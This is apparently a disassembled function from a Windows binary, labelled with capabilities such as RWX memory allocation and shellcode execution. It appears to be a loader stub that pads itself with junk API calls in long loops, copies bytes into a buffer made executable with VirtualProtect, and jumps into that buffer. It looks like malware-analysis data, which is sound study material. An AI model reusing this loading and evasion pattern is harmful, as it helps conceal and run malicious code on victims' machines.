Function at 0x4053c3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10c8
call fcn.004133e0
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x405406
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp edi, 0x207142
jg 0x405417
inc edi
cmp edi, 0x67d12
jl 0x4053d7
cmp dword [0x2488094], 0x93
mov edi, dword [sym.imp.USER32.dll_LoadMenuA]
jne 0x40550c
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringA]
push esi
push esi
call edi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_InsertMenuItemW]
push esi
lea eax, [ebp - 0x8c8]
push eax
push esi
push 0x403fdc
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
call fcn.004084d1
pop ecx
push esi
call fcn.00407d8d
pop ecx
lea ecx, [ebp - 0x18]
call fcn.00407db5
lea ecx, [ebp - 0x18]
call fcn.00407eaa
push esi
call fcn.00408178
pop ecx
push esi
call fcn.0040818e
pop ecx
push esi
push esi
call fcn.00407d76
push esi
push esi
call fcn.0040831c
push esi
call fcn.0040868d
add esp, 0x14
push esi
call fcn.004082bc
pop ecx
lea eax, [ebp - 0xc8]
push eax
call fcn.00405feb
lea ecx, [ebp - 0x68]
call fcn.00406087
lea eax, [ebp - 0x68]
push eax
mov dword [ebp - 0x68], 0x404064
call fcn.00406fe2
pop ecx
add dword [0x2488094], 0x1134b
push dword [0x2488094]
mov eax, dword [0x460c4c]
push esi
mov dword [0x2488ed0], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x2488094]
mov dword [0x2487b24], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, 0x1692e
push esi
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_CharUpperA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec ebx
jne 0x40554a
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
cmp dword [0x2488094], esi
jbe 0x4055dd
mov eax, dword [0x2488ed0]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2487b24]
mov byte [ecx + edi], al
cmp dword [0x2488094], 0x490
jne 0x4055d4
push esi
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
call dword [sym.imp.GDI32.dll_GetTextMetricsA]
push esi
call dword [sym.imp.GDI32.dll_DeleteMetaFile]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push esi
call ebx
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc edi
cmp edi, dword [0x2488094]
jb 0x40556e
xor edi, edi
mov eax, dword [0x2488094]
add eax, edi
cmp eax, 0x8d
jne 0x40561b
push esi
lea eax, [ebp - 0x4c8]
push eax
push esi
push 0x404018
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
call dword [sym.imp.USER32.dll_GetMenu]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x4055df
call fcn.004052e6
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x40564a
mov dword [ebp - 4], esi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x2487b24], eax
inc edi
cmp edi, 0x674bd
jl 0x40562b
push 0x7b
pop edi
cmp dword [0x2488094], 0x86
jne 0x4056a2
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
lea eax, [ebp - 0x4c8]
push eax
push 0x40401c
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push esi
lea eax, [ebp - 0x10c8]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x2488094], 0xf
jne 0x4056b5
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
dec edi
jne 0x405656
push 0x404040
call ebx
call dword [0x2487b24]
pop edi
pop esi
pop ebx
leave
ret